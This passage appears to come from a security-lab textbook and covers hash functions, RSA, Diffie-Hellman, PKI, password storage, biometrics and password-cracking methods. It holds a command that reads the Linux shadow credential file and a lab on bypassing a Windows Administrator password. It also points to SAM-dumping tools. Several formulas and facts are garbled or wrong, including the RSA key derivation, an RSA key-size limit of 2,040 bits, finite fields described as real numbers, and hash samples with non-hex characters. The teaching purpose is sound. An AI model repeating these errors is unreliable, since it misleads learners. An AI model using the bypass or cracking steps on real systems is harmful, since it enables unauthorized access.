to derive the original text from the hash string. It is easy to compute in
one direction yet hard to reverse. Not all hashes are considered of the same
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strength. Both MD4 or MD5 hash algorithms are considered weak because
hash collisions have been demonstrated for both algorithms, which effectively
breaks their usefulness in the eyes of the cryptographic community.
MD Series
All the MD algorithms were developed by Ron Rivest. These have progressed
through the years as technology has advanced. The original was MD2, which
was optimized for 8-bit computers and is somewhat outdated. It has also
fallen out of favor because MD2 has been found to suffer from collisions. MD4
was the next to be developed. The message is processed in 512-bit blocks,
and a 64-bit binary representation of the original length of the message is
added to the message. As with MD2, MD4 was found to be subject to possible
attacks. That’s why MD5 was developed: it could be considered an MD4
with additional safety mechanisms. MD5 processes a variable-size input and
produces a fixed 128-bit output. As with MD4, it processes the data in blocks
of 512 bits. MD5 has also been broken.
SHA
SHA, SHA-1, and SHA-2 are a family of secure hashing algorithms that are
similar to MD5. It is considered the successor to MD5. SHA produces a
160-bit message digest. SHA-1 processes messages in 512-bit blocks and adds
padding, if needed, to get the data to add up to the right number of bits. SHA1
has only 111-bit effectiveness. SHA-1 is part of a family of SHA algorithms,
including SHA-0, SHA-1, and SHA-2. SHA-0 is no longer considered secure,
and SHA-1 is also now considered vulnerable to attacks. Safe replacements
are those found in the SHA-2 family, including SHA-256 or SHA-512.
Public Key Encryption
Public key encryption is a type of cryptography also known as asymmetric
cryptography. Public key cryptography is unlike symmetric encryption, in
that it uses two unique keys, as shown in Figure 7-3. One key is used to
encrypt the data, and the other is used to decrypt it. One of the most important
features of asymmetric encryption is that it overcomes one of the big barriers
of symmetric encryption: key distribution.
The way asymmetric encryptions works is that if I want to send my client a
message, I use my client’s public key to encrypt the message. When my client
receives the message, he uses his private key to decrypt it. So, the important
concepts here are that if the message is encrypted with a public key, only the
matching private key will decrypt it. The private key is generally kept secret,
whereas the public key can be given to anyone. If properly designed, it should
not be possible for someone to easily deduce the private key of a pair if he or
she has only the public key.
Encryption
Michael
Key-Generation
Function
0x 553F23612119
Large Random Number
Public
Key
Private
Key
Figure 7-3 Asymmetric encryption
Public key cryptography is made possible by the use of one-way functions.
A one-way function or trap door is a math operation that is easy to compute
in one direction yet next to impossible to compute in the other. This difficulty,
depending on what type of asymmetric encryption used, is either based on the
discrete logarithm problem or factoring large number into the prime number
originally used. As an example, if you are given two large prime numbers,
it is easy to multiply them. However, if you are only given the product, it is
most difficult or impossible to find the factors in a decent time with today’s
processing power.
The trap-door function allows someone with the public key to reconstruct
the private key if he knows the trap-door value. Therefore, anyone who knows
the trap door can perform the function easily in both directions, but anyone
lacking the trap door can perform the function only in one direction. The
forward direction is used for encryption and signature verification, and the
inverse or backward direction is used for decryption and signature generation.
We have people like Dr. W. Diffie and Dr. M. E. Hellman to thank for helping
develop public key encryption; they released the first key-exchange protocol in
1976.
RSA
RSA was developed in 1977 by Ron Rivest, Adi Shamir, and Len Adleman
at MIT. The name is based on their initials. Although RSA is much slower
than symmetric encryption cryptosystems, it offers secure key exchange and
is considered very secure. RSA has to use prime numbers whose product is
much larger that 129 digits for security, as 129-digit decimal numbers have
been factored using a number field sieve algorithm. RSA public and private
keys are generated as follows:
1. Choose two large prime numbers of equal length, p and q, and compute
p × q = n, which is the public modulus.
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2. Choose a random public key, e, so that e and (p − 1)(1q − 1) are relatively
prime.
3. Compute e × d = 1 mod (p − 1)(q − 1), where d is the private key.
4. Thus, d = e − 1 mod [(p − 1)(q − 1)].
From these calculations, (d, n) is the private key and (e, n) is the public key.
The plaintext, P, is thus encrypted to generate ciphertext C, as follows:
C = Pe mod n, and is decrypted to recover the plaintext, P, as P = Cd mod n
Typically, the plaintext will be broken into equal length blocks, each with
fewer digits than n, and each block will be encrypted and decrypted.
Cryptanalysts or anyone attempting to crack RSA would be left with a difficult challenge because of the difficulty of factoring a large integer into its two
factors. Cracking the key would require an extraordinary amount of computer
processing power and time. RSA supports a key size up to 2,040 bits.
Diffie-Hellman
Diffie-Hellman was one of the first public key-exchange algorithms. It was
developed for key exchange, not for data encryption of digital signatures. The
Diffie-Hellman protocol allows two users to exchange a secret key over an
unsecure medium without any prior secrets.
Diffie-Hellman has two system parameters: p and g. Both parameters are
public and can be used by all the system’s users. Parameter p is a prime
number, and parameter g, which is usually called a generator, is an integer less
than p that has the following property: For every number n between 1 and p − 1
inclusive, there is a power k of g such that gk = n mod p. For example, when
given the following public parameters:
p = prime number
g = generator
Generating equation y = gx mod p
Alice and Bob can securely exchange a common secret key as follows:
1. Alice can use her private value ‘‘a’’ to calculate ya = ga mod p.
2. Also, Bob can use his private value ‘‘b’’ to calculate yb = gb mod p.
3. Alice can now send ya to Bob, and Bob can send yb to Alice. Knowing
her private value, a, Alice can calculate (yb )a , which yields gba mod p.
4. Similarly, with his private value, b, Bob can calculate (ya )b as gab mod p.
Because gba mod p is equal to gab mod p, Bob and Alice have securely
exchanged the secret key.
Diffie-Hellman is vulnerable to man-in-the-middle attacks because the key
exchange does not authenticate the participants. To alleviate this vulnerability,
Encryption
digital signatures should be used. Diffie-Hellman is used in conjunction with
several authentication methods, including the Internet Key Exchange (IKE)
component of IPSec.
El Gamal
El Gamal is an extension of the Diffie-Hellman key exchange. It can be used
for digital signatures, key exchange, and encryption. El Gamal consists of
three discrete components: a key generator, an encryption algorithm, and a
decryption algorithm. It was released in 1985. Its security rests in part on the
difficulty of solving the discrete logarithm problems.
Elliptic Curve Cryptosystem
Although it is not as fast as the systems mentioned previously, Elliptic Curve
Cryptosystem (ECC) is considered more secure because elliptic curve systems
are harder to crack than those based on discrete log problems. Elliptic curves
are usually defined over finite fields, such as real and rational numbers, and
implement an analog to the discreet logarithm problem. An elliptic curve is
defined by the following equation:
y2 = x3 + ax + b along with a single point O, the point at infinity.
The space of the elliptic curve has properties where
Addition is the counterpart of modular multiplication.
Multiplication is the counterpart of modular exponentiation.
Thus, given two points, P and R, on an elliptic curve, where P = KR, finding
K is the hard problem known as the elliptic curve discreet logarithm problem.
ECC is being implemented in smaller, less powerful devices, such as cell
phones and handheld devices.
Hybrid Cryptosystems
A hybrid cryptosystem is a method of encryption that combines both symmetric and asymmetric encryption to take advantage of the strengths of each type
of encryption. Nearly all modern cryptosystems work this way as you get the
speed of secret key cryptosystems and the ability of key exchange of public
key cryptosystems. The public key cryptosystem is used as a key encapsulation scheme and the private key cryptosystem is used as a data encapsulation
scheme. The system works as follows. If Michael wants to send a message to
the publisher, he does the following:
1. Michael generates a random private key for data encapsulation scheme.
We will call this the session key.
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2. Michael encrypts the message with the data encapsulation scheme using
the session key that was generated in step one.
3. Michael encrypts the session key using the publisher’s public key.
4. Michael sends both of these items, the encrypted message and the
encrypted key, to the publisher.
5. The publisher uses their private key to decrypt the session key and then
uses the session key to decrypt the message.
IN THE LAB
Encryption is one way to counter the risks of clear text communication. Consider
email, which is really just plaintext that anyone can easily intercept and read. If
you were sending sensitive corporate documents or results from a vulnerability
assessment, regular email really would not be a good choice. You can mitigate
the risks of clear text email by using encryption. Two popular products are
PGP and the open source GNU Privacy Guard (GnuPG). GnuPG is free and can
be used on either your Windows or Linux lab systems for review and analysis. If
you have a sniffer, such as Wireshark (www.wireshark.org), load it up and let
it run while you send a normal clear text email. You will be able to see the text
as it leaves the local computer. Next, download GnuPG from www.gnupg.org.
After installing it, you will need to create a key and passphrase.
After everything is entered, the systems will generate the keys. This will take
some time. Once the keys are generated, you can distribute your public key
to someone else and create your first encrypted message. Running Wireshark
again as the encrypted message is sent will verify that it is no longer clear text.
Authentication
Authentication is the act of proving an identity, whereas identification is
the process of distinguishing yourself specifically. Identification is commonly
performed by entering a username. Authentication can be performed in several
different ways. These include the following:
Something you know — Passwords
Something you have — Tokens, smart cards, and certificates
Something you are — Biometrics
As a security professional who’s building his or her own security lab, you
should understand the different ways that authentication is performed and
how it relates to security.
The most common type of authentication is accomplished by means of
passwords. Many use some form of encryption or hashing process. Others,
Authentication
such as FTP, actually send passwords in clear text. Authentication can also be
verified through a challenge-response mechanism. Other means of authentication include public key infrastructure (PKI), tokens, and biometrics. Each of
these is discussed in the following sections.
Password Authentication
Passwords are the oldest and simplest form of authentication; they’ve been
used throughout the centuries. Passwords predate the computer era. Consider
the patron of a speakeasy in the 1920s. The entrance usually required a
password or secret knock at the door. Technically, passwords are secret keys,
and of the three types of authentication discussed above they are the most
widely used.
Password authentication typically fails because the account holder loses
control of the password; the password is weak, simple, and easy to guess; or
the authentication system is not designed securely so that passwords are not
protected in transit. Passwords present a big problem.
For password-based authentication to be effective, passwords cannot be
written down on Post-it Notes or shared with others. This presents a real problem because people are not good at remembering random complex passwords.
Most of us lack the cognitive ability to create dozens of unique, unrelated passwords. When given the choice, most individuals choose easy passwords. As
an example, consider the new employee who has been asked to come up
with several login passwords. Does the employee invent hard-to-remember,
complex passwords or something that can be easily remembered when he
returns to work the next day? Most individuals will choose something easy
rather than risk forgetting the password and creating a bad first impression.
These statements can be backed up with the following data. A Gartner study
performed in 2000 reported the following facts about passwords:
90 percent of respondents reported having passwords that were dictionary words or names.
47 percent used their own name, the name of a spouse, or pets’ names.
9 percent used cryptographically strong passwords.
Password Hashing
To prevent hackers from capturing your password from your computer’s hard
disk, most passwords are not stored in clear text. Most modern operating
systems such as Microsoft Windows or Linux encrypt the password and store
it in some form of a hashed equivalent to keep it from being revealed. Using
a hashing function ensures that the process cannot be reversed to directly
decrypt the password.
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Table 7-1 Windows Authentication Methods
AUTHENTICATION NAME
DESCRIPTION
LM Authentication
Based on DES. Used by 95, 98, and Me.
NTLM
Based on DES and MD4. Used until NT Service Pack 3.
NTLM v2
Based on MD4 and MD5. Used post NT Service Pack 2.
Kerberos
Developed by MIT. First implemented in Windows 2000.
Windows supports many authentication protocols, including those used for
network authentication, dialup authentication, and Internet authentication.
For network authentication and local users, Windows supports Windows NT
Challenge/Response, also known as NT LAN Manager (NTLM). Table 7-1
shows some of the authentication schemes.
To maintain backward compatibility, Microsoft allows the older authentication schemes to still be used. The NTLM authentication is particularly
vulnerable as it truncates the password to 14 characters, converts the password to uppercase, and pads the result if the total length is fewer than 14
characters. Finally, to make matters worse, the password is divided into two
seven-character fields. The two hashed results are concatenated and stored as
the LM hash, which is stored in the Security Accounts Manager (SAM). To
get some idea of how this can cause real problems, consider the password
Michael123:
1. When this password is encrypted with the LM algorithm, it is converted
to all uppercase, MICHAEL123.
2. Then, the password is padded with null (blank) characters to make it 14
.
characters long, MICHAEL123
3. Before this password is encrypted, the 14-character string is divided into
.
two 7-character pieces, MICHAEL and 123
4. Each string is encrypted individually, and the results are concatenated
together.
With the knowledge of how LM passwords are created, examine the two
following password entries that have been extracted from the SAM.
Kirk: 1001:
B82135112A43EC2AAD3B431404EE:
DHSC47322ADARZE67D9C08A234A8:
Spock: 1002:
B81A4FB0461F70A3B435B51404EE:
AFGWERTB7CDE33E43A1202B8DA37:
Authentication
Notice how each entry has been extracted in two separate character fields.
Can you see how the first half of each portion of the hash ends with 1404EE?
This is the padding and is how password-cracking programs know the length
of the LM password. It also aids in reducing password-cracking time. Just
consider our original example of Michael123. If extracted, one character field
will hold Michael, while the other only has 3 characters: 123. Cracking 3
characters, or even 7, is much easier than cracking a full 14. Windows has
moved on to more secure password algorithms. In Windows 2000 Service Pack
2 and in later versions of Windows, a setting is available that lets you prevent
Windows from storing a LAN Manager hash of your password.
All this talk of Windows authentication might have you wondering how
Linux authentication works. Most versions of Linux, such as Red Hat, use
MD5 by default. If you choose not to use MD5, you can typically opt during installation to use another form of authentication, such as DES. DES
limits passwords to eight alphanumeric characters. By default, Linux stores
the passwords in either the etc/passwd or the etc/shadow file. Storing passwords in the /etc/shadow file provides some additional security because only
root has access. To give you a better idea as to how this file is configured, here
is an entry from an /etc/shadow file:
root:$1$Gti/eO.e$pFDVMe9QAc5MLvJrJovEq.:0:0:root:/root:/bin/bash
The format of the shadow file is
Account name:Password:Last:Min:Max:Warn:Expire:Disable:Reserved
If you are logged in as root and would like to see the shadow passwords on
your BackTrack Linux system, use the following command:
more /etc/shadow
Another interesting fact about Linux systems is that the passwords use salts.
Salts are needed to add a layer of randomness to the passwords. Because MD5
is a hashing algorithm, this means that if I used startrek for my password and
another user uses startrek for his password, the encrypted values would look
the same. A Linux salt can be one of 4,096 values and helps further scramble
the password. Under Linux, the MD5 password is 32 characters long and
begins with $1$. The characters between the second and third $ represent the
salt. In the preceding example, the value is Gti/eO.e. Passwords created in
this way are considered to be one-way. There is no easy way to reverse the
process. Figure 7-4 demonstrates how Linux creates this value.
Regardless of what operating system you are using, you can increase
security by using longer passwords, ones greater than 14 characters. Along
with this, you should consider requiring users to use passphrases. As an
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Clear Text
Password
Salt/Password Hash
MD5 Hashing
Algorithm
Figure 7-4 Linux salting.
example, P00ch will never be a #1 dog is much longer than your typical
password and uses uppercase letters, lowercase letters, numbers, and special
characters. It’s much more difficult for an attacker to crack and is relatively
easy to remember. If the computer systems within your control can support
passphrases, you should work toward documenting this control in the password policy. Just remember that any change to password policy needs to be
communicated to all users. Periodically, users need to be reminded of the
importance of observing good password policies.
Challenge-Response
Password hashes work well on computer systems, but what about when
authentication over the network is required? If a password hash is used
and an attacker can intercept the hash, it would be trivial to simply replay
it to gain access at a later point. Challenge-response authentication defeats
replay by encrypting the hashed password using secret key encryption. A
challenge-and-response authentication session works like this:
1. The client computer requests a connection to the server.
2. The server sends a secret value or nonce to the client.
3. The client encrypts the secret value using a hashed password and transmits the result to the server.
4. The server decrypts the secret using the stored hashed password and
compares it to the original secret value to decide whether to accept the
logon.
Figure 7-5 shows an example of this process.
Challenge-response systems can be either asynchronous or synchronous.
Asynchronous authentication is not based on time and is not synchronized
to an authentication server. It works basically as described in Figure 7-5.
Authentication
I know the
PIN is 5309.
I also know the
PIN is 5309.
1. Let’s communicate.
2. Let me make sure it is you.
Please divide 5309/9 and tell
me the remainder.
The PIN
divided by 9
should result
in a remainder
of 8.
3. The remainder is 8.
4. Correct answer! Let’s talk.
Figure 7-5 Challenge-response authentication.
Synchronous systems are synchronized to the authentication server. This
means that each time a client authenticates itself, the passcode or authentication
is valid for only short period of time. If an attacker is able to intercept the
authentication packets, they will do the attacker little good because they
would have to be replayed almost immediately. After that small window of
opportunity, it would have no value to an attacker. An example of a type
of synchronous system is RSA’s SecurID. SecurID changes user passwords
every 60 seconds. Asynchronous and synchronous systems work because the
hashed password is never transmitted over the network; only a random value
and an encrypted random value are sent.
Session Authentication
Unlike challenge-response, session authentication validates users once and
creates a session value that represents that authentication. This form of authentication is widely used on web sites. Instead of passing an actual username
and password, session authentication is passed by either cookies or query
strings to the server. Session authentication ensures that after authentication
has occurred, all subsequent communications can be trusted. An example of
session authentication via cookies is shown here:
HTTP/1.1 302 Found
Date: Sat, 09 Sep 2006 16:09:03 GMT
Server: Apache/2.0.48 (linux) mod ssl/2.0.48 OpenSSL/0.9.8a PHP/4.4.0
X-Powered-By: PHP/4.4.0
Set-Cookie: authenticate=1232531221
Location: index0.php
Content-Length: 1927
Content-Type: text/html; charset=ISO-8859-0
The line above that has Set-Cookie: authenticate=1232531221 is where
the actual authentication value is being passed. Each time a user moves to a
subsequent page, the cookie value is used to authenticate the user.
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Public Key Authentication
Public key authentication is a method of using public keys to authenticate
users. This form of authentication can be seen in services such as Secure
Sockets Layer (SSL), Transport Layer Security (TLS), Pretty Good Privacy
(PGP), and even Public Key Infrastructure (PKI).
Public Key Infrastructure
PKI overcomes many of the issues that occur when dealing with unknown
parities on the Internet. When dealing with brick-and-mortar businesses, we
can see the store, talk to the employees, and get a good look at how they do
business. Internet transactions are much less transparent. We can’t see who
we are dealing with, don’t know what type of operation they really run, and
might not be sure that we can trust them.
PKI is a framework that consists of hardware, software, and policies that
exist to manage, create, store, and distribute keys and digital certificates. The
components of this framework include the following:
The Certificate Authority (CA)
The Registration Authority (RA)
The Certificate Revocation List (CRL)
Digital certificates
A certificate distribution system
Certificate Authority
The best analogy of a CA is that of the Department of Motor Vehicles (DMV).
This is the state entity that is responsible for issuing a driver’s license, the gold
standard for physical identification. If you cash a check, go to a nightclub,
or catch a plane, your driver’s license will be the one document universally
accepted at all these locations to prove your identity. CAs are like DMVs; they
vouch for your identity in a digital world. VeriSign, Thawte, and Entrust are
some of the companies that perform CA services.
Now, a CA doesn’t have to be an external third party; many companies
tackle these responsibilities by themselves. Regardless of who performs the
services, the following steps must be performed:
1. The CA verifies the request for certificate with the help of the RA.
2. The individual’s identification is validated.
3. A certificate that verifies that the person matches the public key that is
being offered is created by the CA.
Authentication
Registration Authority
The RA is like a middleman; it’s positioned between the client and the CA.
Although the RA cannot generate a certificate, it can accept requests, verify
a person’s identity, and pass along the information to the CA for certificate
generation.
RAs play a key role when certificate services are expanded to cover large
geographical areas. One central CA can delegate its responsibilities to regional
RAs, such as having one RA in the United States, Canada, Mexico, and Brazil.
Certificate Revocation List
Just as with a driver’s license, digital certificates might not always remain
valid. Individuals might leave the company, information might change, or
someone’s private key might be compromised. For these reasons, the CRL
must be maintained.
The CRL is maintained by the CA, which signs the list to maintain its
accuracy. Whenever problems are reported with digital certificates, they are
considered invalid and the CA has the serial number added to the CRL. Anyone requesting a digital certificate can check the CRL to verify the certificate’s
integrity.
Certificate-Based Authentication
Certificates are simply digital signatures that have been ‘‘signed’’ using
the digital signature of some trusted authority, thus creating a ‘‘chain’’ of
authentication.
Digital Certificates
Digital certificates are at the heart of the PKI system. The digital certificate
serves two roles. First, it ensures the integrity of the public key and makes sure
that the key remains unchanged in a valid form. Second, it validates that the
public key is tied to the stated owner and that all associated information is true
and correct. The information needed to accomplish these goals is added into
the digital certificate. Digital certificates are formatted to the X.509 standard.
The most current version of X.509 is version 3. One of the key developments
in version 3 was the addition of extensions. Version 3 includes the flexibility to
support other topologies such as bridges and meshes. It can operate as a web
of trust much like PGP.
Digital signatures are based on public key cryptography and are used to
verify the authenticity and integrity of a message. Digital signatures are created
by passing a message’s contents through a hashing algorithm. The hashed
value is encrypted with the sender’s private key. Upon receiving the message,
the recipient decrypts the encrypted sum and then recalculates the expected
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message hash. These values should match to ensure the validity of the message
and prove that it was sent by the party believed to have sent it, because only
that party has access to the private key.
Digital Signature Algorithm
Things are much easier when we have standards, and that is what the
Digital Signature Algorithm (DSA) was designed for. The DSA standards
were proposed by NIST in 1991 to standardize Digital Signature Standards
(DSS). The DSA digital signature algorithm involves key generation, signature
generation, and signature verification. It uses SHA-1 in conjunction with public
key encryption to create a 160-bit hash. Signing speeds are equivalent to RSA
signing, but signature verification is much slower. The DSA digital signature
is a pair of large numbers represented as binary digits.
IN THE LAB
The risks of weak encryption are real, yet even with encryption in place nothing
trumps physical access. Anytime someone can get physical access to a system
there is the chance they can bypass the authentication and encryption
schemes. As an example of this, consider the program bootdisk, available at
http://home.eunet.no/pnordahl/ntpasswd. It is billed as a Windows
password-recovery tool but can also be used to bypass authentication and
reset the Administrator password.
To demonstrate this In the Lab, you will need a Windows 2000 or XP
computer. Download the program. There are two versions that have been
developed; one is a floppy-disk version and the other is a CD. As long as your
system can boot via one of these two methods, you can use this tool to
demonstrate the unauthorized change of the Administrator password. For the
floppy-disk method you will need several blank floppies; simply copy the zip
file onto an empty floppy. You will not unzip the zip file. Depending on your
hardware, you might only need one of the driver sets or the other available
at the web site. Insert one of the driver floppies when asked for it after
booting; the zip file will be unzipped to memory. At that point you will be
stepped through the process of resetting the Administrator password. Once this
is completed, reboot the system and try the new password that was entered. If
that’s successful, the system will boot normally.
You can mitigate this risk by removing floppy drives and configuring BIOS to
not allow the system to boot from CD. You should also consider who has
physical access to key or critical servers.
Biometrics
Biometrics
Biometric authentication uses sensors to detect patterns that uniquely identify a
person, such as facial features, fingerprints, handprints, blood vessels in the
eye, and so on. Therefore, biometrics is a means of authentication that is based
on a behavioral or physiological characteristic that is unique to an individual.
Biometric systems work by recording information that is very minute and
individual to a person. When the biometric system is first used, the system
must develop a database of information about the user. This is considered
the enrollment period. When the enrollment is complete, the system is ready
for use. So, if an employee then places his hand on the company’s new
biometric palm scanner, the scanner compares the ridges and creases found
on the employee’s palm to the one that is identified about the individual in
the device’s database; this information is compared to make a decision if the
employee is or is not granted access.
Just to make sure that we are clear on this, there are other issues that
will determine whether the employee is granted access. One is the accuracy
of the biometric system. Different biometric systems have varying levels of
accuracy. The accuracy of a biometric device is measured by the percentage
of Type I and Type II errors it produces. Type I errors (false rejection rate)
indicate the percentage of individuals who should have gotten in but were not
allowed access. Type II errors (false acceptance rate) indicate the percentage
of individuals who got in and should not have been allowed access. When
these two values are combined, the accuracy of the system is established.
This is determined by mapping the point at which Type I errors equal Type
II errors. This point is known as the crossover error rate (CER). The lower
the CER, the better; for example, if system A has a CER of 4 and system B
has a CER of 2, system B is the system with the greatest accuracy. Although
many biometric systems have been proven to be highly accurate, any system
that you are considering should be verified and tested before being deployed.
Some fingerprint readers have been fooled by something as simple as a color
photograph of a valid fingerprint.
There are many different types of biometric systems. Some of the more
common types are listed here.
Palm scan — Analyzes characteristics associated with the palm, such as
the creases and ridges of a user’s palm. If a match is found, the individual is allowed access.
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Hand geometry — Another biometric system that uses the unique geometry of a user’s fingers and hand to determine the user’s identity. It is one
of the oldest biometric techniques.
Iris recognition — An eye-recognition system that is very accurate, as it
has over 400 points of reference. It matches the person’s blood vessels on
the back of the eye.
Retina pattern — While it also uses the person’s eye for identification, it
requires the user to place their eyes close to the reader.
Fingerprint — Widely used for access control to facilities and items such
as laptops. It works by distinguishing 30 to 40 details about the peaks,
valleys, and ridges of the user’s fingerprint.
Facial scan — Requires the user to place his or her face about 2 feet from
the camera. It performs a mathematical comparison with the face prints
it holds in a database to allow or block access.
Voice recognition — Uses voice analysis for identification and authentication. Its main advantage is that it can be used for telephone
applications.
HACKING FINGERPRINT SCANNERS
Fingerprint scanners have grown in use over the past several years as a viable
alternative to passwords on computer systems and as access control devices
for areas such as server rooms. Fans of the show Mythbusters may have caught
the episode where they put fingerprint readers to the test. Although they failed
to release the name of the companies that manufactured the devices tested,
the results were unsettling. The Mythbusters team members were able to gain
unauthorized access by using a fingerprint on a latex finger, a finger made of
ballistics gel, and even a photocopied fingerprint. You can see a small clip of
the video at www.youtube.com/watch?v=LA4Xx5Noxyo.
IN THE LAB
In the last In the Lab section, I discussed one method to bypass normal
password authentication on a Windows computer. Although some
countermeasures were discussed in that sidebar, another possible solution is
biometrics. The risk of not using biometrics is that a weaker form of
authentication may be easily bypassed, allowing unauthorized access to a
system. You can mitigate this by installing some type of biometric
authentication system. One widely used method is fingerprint systems.
Encryption and Authentication Attacks
To demonstrate this, download the fingerprint synthesis program at
www.optel.pl/software/english/synt.htm. Once it’s downloaded, install
the program and click the Create Finger button. Create and save two different
fingerprints as .bmp files. Download a second program, VeriFinger. An
evaluation copy can be downloaded from www.neurotechnologija.com/
download.html#vf. Once VeriFinger is installed, launch the program and
choose Enrollment Mode. You will be prompted to load existing fingerprint
files. You will use the two created by the Create Finger program. Navigate to
the directory containing those files, and click OK to enroll. You will now want to
choose Mode ➪ Identification to activate Identification mode. You can now
zoom in and analyze the print of the upper-right side of the screen, comparing
it to the original print on the left side. Notice what is being identified in the
upper-right window. These ridges, valleys, and minutiae are what are used to
identify a valid fingerprint. This should provide you a much better idea of how
biometric authentication works.
Encryption and Authentication Attacks
It almost goes without saying that as long as man has been trying to keep
secrets, others have been trying to break them. Advances started in the Middle
Ages. In the ninth century, Abu al-Kindi published what is considered to
be the first paper that discusses how to break cryptographic systems, titled
‘‘A Manuscript on Deciphering Cryptographic Messages.’’ It deals with using
frequency analysis to break cryptographic codes. Frequency analysis is the
study of how frequently letters or groups of letters appear in ciphertext.
Uncovered patterns can aid individuals in determining patterns and breaking
the ciphertext. Those advances continue today. Let’s look at some of the ways
authentication systems are attacked.
LONGEST-RUNNING SUPPRESSED PATENT APPLICATION
Although most of us will not make a career in cryptography, William Frederick
Friedman did. He is considered one of the best cryptologists of all time. He
actually holds the record for longest-running suppressed patent, which was
requested in 1933 and finally granted in 2001. Friedman did a huge service to
the United States by leading the team that broke the Japanese Purple Machine
encryption just prior World War II.
While never having actually seen one of these devices, Friedman helped
crack its code. This gave the United States the ability to decrypt many of the
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LONGEST-RUNNING SUPPRESSED PATENT APPLICATION (continued)
messages being sent by the Japanese. Before the start of WWII, the United
States was able to crack the message that informed the Japanese to break off
negotiations with the United States. Before Friedman’s death the 1960s, the
National Security Agency (NSA) raided his house to retrieve some of his
personal writings. After his death, more of his writings were confiscated by the
NSA. Many of his inventions and cryptographic systems were never patented
because they were considered so significant that the release of any information
about them might aid an enemy.
Extracting Passwords
Attackers can access systems and extract passwords in several different ways,
including the following:
Gain physical access
Use a keystroke logger
Gain logical access
Guess a weak password
If an attacker can gain physical access to a targeted system, all he or
she needs to do is to boot to an alternative operating system and recover
the passwords from the SAM. There are also several tools that can be used
to reset passwords. An example of one is NTPASSWD. It’s available at
http://home.eunet.no/pnordahl/ntpasswd. Look at the exercise at the end of
this chapter to get a better idea of how this is done with a bootable copy of
Linux, such as BackTrack.
Keystroke loggers are software or hardware devices used to monitor activity.
While the outsider might have some trouble getting one of these devices
installed, the insider is in the prime position.
Hardware keystroke loggers are usually installed while users are away from
their desks, and they are completely undetectable except for their physical
presence. When’s the last time you looked at the back of your computer? Even
then, they can be overlooked because they resemble a balun or extension;
www.keyghost.com has a large collection.
Passwords can also be attacked electronically over the network. If an attacker
can gain remote access to a system, it may be possible for them to use tools
like fgdump or pwdump to extract the SAM. Pwdump is currently up to
version 6 and is available at www.foofus.net/fizzgig/pwdump. Fgdump can
be downloaded from www.foofus.net/fizzgig/fgdump.
Finally, let’s not forget the possibility of the user having applied a weak
password. When password guessing is successful, it is usually because users
Encryption and Authentication Attacks
have chosen easy-to-remember words and phrases. A determined attacker
will look for subtle clues to key in on, probably words or phrases that the
account holder may have used for a password. What can you find out about
this person; what do you know about this individual; what are his hobbies?
Each of these items can be used to develop possible passwords to try.
If, in the end, you end up with an encrypted password, you will need to look
at ways to extract the clear text password. That’s our next topic of discussion.
Password Cracking
Think your passwords are secure? A European InfoSec conference performed
an impromptu survey and discovered that 74 percent of those surveyed would
trade their passwords for a chocolate bar. Now, the results of this survey might
not meet strict scientific standards, but this does prove a valuable point: many
individuals don’t practice good password security. Attackers are well aware
of this and use the information to launch common password attacks. Attackers
typically use one of three methods to crack passwords: a dictionary attack, a
brute-force attack, or a rainbow table.
Dictionary Attack
A dictionary attack uses a predefined dictionary to look for a match between
the encrypted password and the encrypted dictionary word. Many dictionary
files are available, ranging from Klingon to popular movies, sports, and the
NFL. Many times, these attacks can be performed in just a few minutes
because individuals tend to use easily remembered passwords. If passwords
are well-known, dictionary-based words, dictionary tools will crack them
quickly.
Just how do cracking programs recover passwords? Passwords are commonly stored in a hashed format, so most password-cracking programs use
a technique called comparative analysis. Each potential password found in
a dictionary list is hashed and compared to the encrypted password. If a
match is obtained, the password has been discovered. If not, the program
continues to the next word, computes its hashed value, and compares that to
the hashed password. These programs are comparatively smart because they
can manipulate a word and use its variations. For example, take the word password. It would be processed as Password, password, PASSWORD, PassWord,
PaSSword, and so on. As you can see, these programs tackle all common permutations of a word. They also add common prefixes, suffixes, and extended
characters to try to crack the password. This is called a hybrid attack. Using the
previous example, these attempts would look like 123password, abcpassword,
drowssap, p@ssword, pa44w0rd, and so on. These various approaches increase
the odds of successfully cracking an ordinary word or any common variation
of it.
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Brute-Force Attack
The brute-force attack is a type of encrypted password assault and can take
hours, days, months, or years, depending on the complexity of the password
and the key combinations used. This type of attack depends on the speed of
the CPU’s power because the attacker attempts every combination of letters,
numbers, and characters. Take a look at how quickly the time can increase for
such an attack. First, you must consider the number of possibilities within a
given key space. The key space of all possible combinations of passwords to
try is calculated using the following formula:
KS = L^(m) + L^(m+1) + L^(m+2) + ........ + L^(M)
In this formula, L = character set length, m = min length of the key,
and M = max length of the key. This means that if you are attempting to
crack a 7-character password using the 26-letter character set of ABCDEFGHIJKLMNOPQRSTUVWXYZ, the brute-force attack would have to try
8,353,082,582 different potential keys. If you performed the same attack but
added 0123456789!@#$%∧ &*()- +=∼‘[]{}|\:;’‘‘<>,.?/ to the character set, the
number of keys tried would rise to 6,823,331,935,124.
This type of attack can take a very long time to complete! If you’re like me,
you would have to wonder whether there is an easier way. Keep reading to
find out the answer.
Rainbow Table
Historically, the two approaches just discussed were the primary methods used
to recover passwords or attempt to crack them. Many passwords were considered secure just because of the time it would take to crack them. This time factor
was what made these passwords seem secure. Sure, given enough time, the
password could be cracked, but it might take several months. A relative new
approach to password cracking has changed this stream of thought. It works
by means of a rainbow table. The RainbowCrack technique is the implementation of Philippe Oechslin’s faster time-memory tradeoff technique. It works by
precomputing all possible passwords in advance. Once this time-consuming
process is complete, the passwords and their corresponding encrypted values
are stored in a file called the rainbow table. An encrypted password can be
quickly compared to the values stored in the table and cracked within a few
seconds. Orphcrack is an example of such a program. The drawback to the
program is the large amount of data it must store. As an example, the character set discussed previously of 0123456789!@#$%∧ &*()- +=∼‘[]{}|\:;’‘‘<>,.?/
would require about 24GB of storage space.
Encryption and Authentication Attacks
Other Cryptographic Attacks
The following are some common attacks that an enemy might use to attack a
cryptographic system:
Ciphertext-only attack — This attack requires an attacker to obtain several encrypted messages that have been encrypted using the same
encryption algorithm. The attacker does not have the associated plaintext; he attempts to crack the code by looking for patterns and using statistical analysis.
Man-in-the middle attack — This attack is carried out when attackers
place themselves between two users. Whenever the attackers can place
themselves in the communication’s path, the possibility exists that they
can intercept and modify communications.
Chosen ciphertext — The chosen ciphertext attack is carried out when
an attacker can decrypt portions of the ciphertext message of his choosing. The decrypted portion of the message can then be used to discover
the key.
Chosen plaintext — The chosen plaintext attack is carried out when an
attacker can have the plaintext messages of his choosing encrypted and
can then analyze the ciphertext output of the event.
Replay attack — This form of attack occurs when an attacker can intercept cryptographic keys and reuse them at a later date to either encrypt
or decrypt messages he should not have access to.
